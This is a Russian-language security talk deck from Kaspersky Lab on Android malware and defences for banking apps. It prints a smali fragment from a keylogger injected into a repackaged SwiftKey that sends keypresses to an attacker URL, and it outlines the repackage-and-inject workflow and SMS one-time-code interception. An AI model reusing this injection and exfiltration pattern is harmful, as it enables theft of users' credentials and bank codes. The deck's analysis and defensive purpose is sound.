МОБИЛЬНЫЕ УГРОЗЫ: ЗАЩИЩАЙСЯ! Vladimir Ivanov Senior Developer, Kaspersky Lab ЗАЩИТА МОБИЛЬНЫХ ПРИЛОЖЕНИЙ ЭТО В ПЕРВУЮ ОЧЕРЕДЬ ПРО ANDROID СМАРТФОНЫ ANDROID ДЕЙСТВИТЕЛЬНО ПОПУЛЯРНЫ. КАК И ЗЛОВРЕДЫ ДЛЯ НИХ 1,100,000,000+ 1 3 statisticbrain.com 1 Число активных пользователей платформы 350,000 1 Среднее число ежедневных активаций 86% 1 Общая доля платформы ПОПУЛЯРНОСТЬ ЗЛОВРЕДОВ ДЛЯ ANDROID Зловредные APK 9000000 8000000 7000000 6000000 5000000 4000000 3000000 10,000,000+ Число зловредных приложения (APK в коллекции Лаборатории) 120,000 Среднее число новых образцов 2000000 1000000 0 Source: Kaspersky Lab Security Network 4 ПРИМЕР ЗЛОВРЕДА Trojan-SMS.AndroidOS.Svpeng.a 5 1. Отправляет sms на премиум-номера 2. Используется банковские сервисы через sms 3. Прячет sms от банка 4. Крадет sms и звонки ПРИМЕР ЗЛОВРЕДА - 2 Trojan-SMS.AndroidOS.Svpeng.a, next version 1. Отрисовка поверх экрана Больше ада в докладе Романа Унучека на codefreeze 6 ПОПУЛЯРНОСТЬ БАНКОВСКИХ ЗЛОВРЕДОВ 12100 Число банковских зловредов 2,500 Среднее число новых зловредов x10 Годовой рост Source: Kaspersky Lab Security Network 7 СХЕМЫ РАСПРОСТРАНЕНИЯ: СТАРЫЕ И НОВЫЕ ТЕХНОЛОГИИ Exploits, Phishing & Social Engineering Web Injects App Stores Official App Stores Drive-by Downloads Repackaged apps SMS Spam Fake apps 3rd Party App Stores 8 Suspicious apps БЕЗОПАСНОСТЬ МОБИЛЬНОГО ПРИЛОЖЕНИЯ Нативные библиотеки SQLite Файлы Связь Банковское приложение Взлом устройства Вредоносы Ошибки реализации Модификация кода SMS Троян Логирование клавиш KeyChain SSL Сокеты Подпись приложения Двухфакторная аутентификация 9 ОБЕСПЕЧЕНИЕ БЕЗОПАСНОСТИ ПРИЛОЖЕНИЙ 1 Удостоверить устройство • • • • 3 Проверить на взлом Проверить прошивку и версию ПО Проверить на подозрительные приложения Получить отпечаток устройства Защитить соединение • • • • Проверить точку доступа Проверить DNS и Сертификаты Установить безопасное соединение Отследить фишинговые сайты 5 Защитить устройство 4 Защитить данные • • • • • • • Защитить приложение • • 10 2 Убедиться в консистентности приложения Защититься от отладки Проверить наличие зловредов Удалить вредоносные файлы Определить, когда вредоносы проникают в систему Защитить конфиденциальные SMS Предотвратить кражу данных при вводе Зашифровать файлы с данными Зашифровать базы данных ОПРЕДЕЛЕНИЕ РИСКОВ 11 ОПРЕДЕЛЕНИЯ ВЗЛОМА Android root: Проверить ‘buildtags’ Проверить наличие superuser.apk Проверить “su” Проверить доступность на запись в /data Известные ЛK jailbreaks: 12 • redsn0w • absinthe 2 • limera1n • evasi0n • absinthe • purplera1n iOS jailbreak: Проверить возможность изменения файлов приложения(бинарники) Прочитать конфиг fstab и проверить его модификацию Системное АПИ(system(NULL)) Приложения cydia и cydia scheme ЧТО ДЕЛАТЬ: ПРОГРАММНО ПРОВЕРЯТЬ ВЗЛОМ public static boolean checkRootWhichSu() { Process process = null; try { process = Runtime.getRuntime().exec(new String[] { "/system/xbin/which", "su" }); final BufferedReader in = new BufferedReader( new InputStreamReader(process.getInputStream())); return in.readLine() != null; } catch (Throwable t) { return false; } finally { if (process != null) { process.destroy(); } } } *from http://stackoverflow.com/questions/1101380/determine-if-running-on-a-rooted-device 13 ОТПЕЧАТОК УСТРОЙСТВА Android Местоположение Android ID Локаль Время Версия ОС Серийный номер Sim Wi-Fi IP Адрес IMEI Модель Размер экрана MAC адрес Wi-Fi 14 iOS ID Устройства Модель устройства Имя устройства Имя системы Версия ОС ID продавца (>=iOS 6) Wi-Fi Mac Адрес(<= iOS 6) Разрешение экрана Локаль IP Адрес Время Местоположение ЗАЩИТА УСТРОЙСТВА 15 ЯДРО ТЕХНОЛОГИИ СКАНИРОВАНИЯ Ключ: многоступенчатая проверка Сигнатуры и общие механизмы Локальный сигнатурный анализ Облачное сканирование Проверка хэш-сумм файлов по облачной базе 16 НАШИ ДВИЖКИ Сигнатурный 17 Эвристический Поведенческий ЗАЧЕМ НУЖНА ЭВРИСТИКА Эвристический движок: AVP3 Modifications Trojan-Spy.AndroidOS.Geinimi Backdoor.AndroidOS.KungFu Защищает от новых и неизвестных образцов Trojan-Spy.AndroidOS.Adrd Увеличивает вероятность обнаружения Backdoor.AndroidOS.BaseBrid Mobile signatures Heuristic signatures 17 7 19 14 17 3 9 3 30 2 6 6 3 13 4 2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 376 283 234 148 Trojan-SMS.AndroidOS.FakeInst Использует те же базы, что и десктопный продукт128 Trojan-SMS.AndroidOS.Boxer Одна сигнатура на Trojan-SMS.AndroidOS.Opfake Backdoor.AndroidOS.Yzhc Trojan-SMS.AndroidOS.Jifake Backdoor.AndroidOS.Rooter Trojan-Spy.AndroidOS.Nickspy Trojan-SMS.AndroidOS.Raden К примеру семейство 126 65 48 36 35 22 20 На данный момент 376 AVP3 сигнатур для Trojan-Spy.AndroidOS.Geinimi Trojan-SMS.AndroidOS.SendPay 19 заключены в 17 файлах Trojan-SMS.AndroidOS.FakeP 16 Trojan-Spy.AndroidOS.Flexispy 5 Всего 1 эвристичекая сигнатура определяетSpy.AndroidOS.Geinimi (!) Backdoor.AndroidOS.Fakengry 3 18 КАК РАБОТАЕТ ПОВЕДЕНЧЕСКОЕ СКАНИРОВАНИЕ Google Play Поведенческий лог APK File Иные источники скачивание dex patched files dex files скачивание resources Память pictures Перехватчик установка Перепаковка Измененное приложение установка использование использование 19 android.app.Application.getSystemService("window") com.kms.sandbox.SBActivity1.getSystemService("connectivity") android.app.Application.getSystemService("connectivity") android.app.Application.getSystemService("phone") android.telephony.TelephonyManager.getSimOperator() com.kms.sandbox.SBActivity1.getClass() com.kms.sandbox.SBActivity1.getSystemService("connectivity") android.app.Application.getSystemService("activity") android.telephony.TelephonyManager.getDeviceId() android.telephony.TelephonyManager.getNetworkCountryIso() org.apache.http.message.BasicStatusLine.toString() android.app.Application.getSystemService("location") java.io.File.toString() java.io.File.toString() java.io.File.exists() java.io.File.exists() java.io.File.createNewFile() android.app.ContextImpl$ApplicationPackageManager.getInstal ledPackages(0) java.io.FileOutputStream.write([B@406258b8) com.kms.sandbox.SBActivity1.startActivity(Intent { act=android.service.wallpaper.LIVE_WALLPAPER_CHOOSER (has extras) }) com.kms.sandbox.SBActivity1.startActivity(Intent { cmp=com.livegame.wallpaperxingqiumj/com.kms.sandbox.SBA ctivity2 }) so kl-hools.so files other patched so files other эмуляция ПОЧЕМУ НУЖНО ПРОВЕРЯТЬ КАРТИНКИ 1. Злоумышленники прячут исполняемый код в картинках 2. Злоумышленники прячут целые APK в картинках! 20 СЕТЕВАЯ ЗАЩИТА 21 АНАЛИЗ БЕЗОПАСНОСТИ ТОЧЕК WI-FI Облако запрос разрешение запрет Попытка соединения разрешение Мобильное устройство 22 интернет Бесплатный Wi-Fi ЧТО ДЕЛАТЬ: АНАЛИЗИРОВАТЬ ПАРАМЕТРЫ ТОЧКИ public static void ensureWifiSecurity(Context context) { WifiManager wifimanager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE); Method[] methods = wifimanager.getClass().getDeclaredMethods(); for (Method m : methods) { if (m.getName().equals("getWifiApConfiguration")) { try { WifiConfiguration config = (WifiConfiguration) m.invoke(wifimanager); BitSet allowedAuthAlgorithms = config.allowedAuthAlgorithms; // TODO : analyze the config } catch (Exception e) { // TODO : log } } } } 23 ЗАЩИЩАЯ СЕТЕВЫЕ СОЕДИНЕНИЯ Apache HTTP Client Lib URL Reputation Certificate Validation KSN 24 DNS Verification ВЕБ-ФИЛЬТР ПРОТИВ ФИШИНГА Kaspersky Product Platform Phishing Анализ изображений Bank logo Fake site KFP Mobile SDK Malware Site address База доверенных сайтов База фишинговых сайтов Эвристические механизмы Data form Fake mail 25 Kaspersky Security Network ЗАЩИТА ДАННЫХ 26 SMS ТРОЯНЫ Sms трояны занимают треть всех мобильных зловредов(33.5%) ZitMo, SpitMo & CitMo – sms-трояны, взаимодействующие с десктопными зловредами ZeuS, SpyEye & Carberp SMS Трояны перехватывают одноразовые пароли 27 РАБОТА СМС-ТРОЯНА Входящее смс от банка SMS Троян Командный сервер Прервать Broadcast Перехватить SMS Хранилище 28 Un-obfuscated source code of an SMS Trojan’s intercept method ЧТО ДЕЛАТЬ: КОНТРОЛИРОВАТЬ ПОЛУЧЕНИЕ <receiver android:name=".SMSBroadcastReceiver"> <intent-filter android:priority="2147483647"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> Входящее СМС от банка private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED"; @Override public void onReceive(Context context, Intent intent) { if (SMS_RECEIVED.equals(intent.getAction())) { Bundle bundle = intent.getExtras(); // TODO : parse extras for messages } 29 хранилище смс Слой Смс троян безопасности Банковское Хранилище приложение ЗАЩИТА ДАННЫХ: ПОКИДАНИЕ ПЕСОЧНИЦЫ Приложения исполняются в песочнице Эксплуатируя ошибки и уязвимости в системных приложениях и сервисах можно выполнять код от лица системы 30 ЗАЩИТА ДАННЫХ Если хранятся данные, то вредонос или сам злоумышленник при наличии устройства может эти данные получить Вредонос Attacker C2 Server 31 Data Storage ЧТО ДЕЛАТЬ: СИММЕТРИЧНОЕ ШИФРОВАНИЕ Шифруем все файлы и БД с важными данными public static void ensureWifiSecurity(SecretKey key) throws Exception { Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE, key); CipherOutputStream cos = new CipherOutputStream(new FileOutputStream("ciphertext"), cipher); PrintWriter pw = new PrintWriter(new OutputStreamWriter(cos)); pw.println("Stand and unfold yourself"); pw.close(); } Пароль Зашифрованная БД/Файлы Слой безопасности Приложение 32 ПЕРЕХВАТ НАЖАТИЙ Smali – ассемблер для Dalvik https://code.google.com/p/smali/ new-instance v0, Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent$AsyncHttpPost; invoke-direct {v0, p0, v2}, Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent$AsyncHttpPost;-> <init>(Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent;Ljava/util/HashMap;)V 33 ПОДМЕНА ПОПУЛЯРНОЙ КЛАВИАТУРЫ .class public abstract Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent; Unpack/Decode Byte Code (‘smali’) Inject Keylogger Code Repack & Sign Distribution # direct methods .method public constructor (Lcom/touchtype_fluency/service/TouchTypeExtractedText;Ljava/lang/CharSequence;)V .parameter "extractedText" .parameter "inputText" … invoke-direct {p0, p1, p2}, Lcom/touchtype/keyboard/inputeventmodel/events/TextInputEvent;>(Lcom/touchtype_fluency/service/TouchTypeExtractedText;Ljava/lang/CharSequence;)V … .line 152 new-instance v0, Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent$AsyncHttpPost; invoke-direct {v0, p0, v2}, Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent$AsyncHttpPost;><init>(Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent;Ljava/util/HashM ap;)V .line 153 asyncHttpPost:Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent$AsyncHttpP ost; const/4 v3, 0x1 const-string v5, "hxxp://czqklsjdf.ru/swiftkey/keypresses.php" … .line 9 return-void .end method Keylogger found within Android byte code of a modified version of SwiftKey 34 ПЕРЕХВАТ ЭКРАНА Приложения перехвата нажатий имеют доступ к READ_FRAME_BUFFER через ADB (Android Debug Bridge) без получения рутовых прав Опция логирования включается, когда зловред определяет, что запущено банковское приложение Захваченные нажатия сверяются с картой соответствия для экрана Захваченные данные отправляются на сервер 35 ЧТО ДЕЛАТЬ: СВОЯ КЛАВИАТУРА Создать компонент клавиатуры для ввода критических данных: логины, пароли, одноразовые ключи 1. Переставить клавиши 2. Поддержать EditText и WebView 36 САМОЗАЩИТА 37 НАРУШЕНИЕ ЦЕЛОСТНОСТИ: ПРОВЕРКА ПОДПИСИ Угрозы, связанные с нарушением целостности Подмена сущностей Приложение Раскрытие информации Передача данных на сервера атакующего Раскрытие ключей, сертификатов и алгоритмов 38 Изменение логики Отказ в обслуживании Перенаправление финансовых транзакций Частые падения, неработающие функции Частичный отказ Подъем привелегий Отказ в статистике, логировании и т.д. Использование привелегий, бонусов и т.д. MANIFEST.MF CERT.MF x509 Проверка Обфускация кода KASPERSKY FRAUD PREVENTION SDK Отпечаток устройства Антивирус Сертификаты Веб-Антифишинг Проверка DNS Проверка WiFi Защита от кейлоггеров Защита от СМС Проверка целостности Шифрование файлов и БД 39 Отпечаток устройства Веб-Антивирус Веб-Антифишинг Проверка сертификатов Проверка DNS Проверка WiFi Защита от кейлоггеров Проверка целостности Шифрование файлов и БД Отпечаток устройства Веб-Антивирус Веб-Антифишинг Проверка DNS Проверка WiFi Проверка целостности Шифрование файлов ВОПРОСЫ? [email protected] www.kaspersky.com/fraudprevention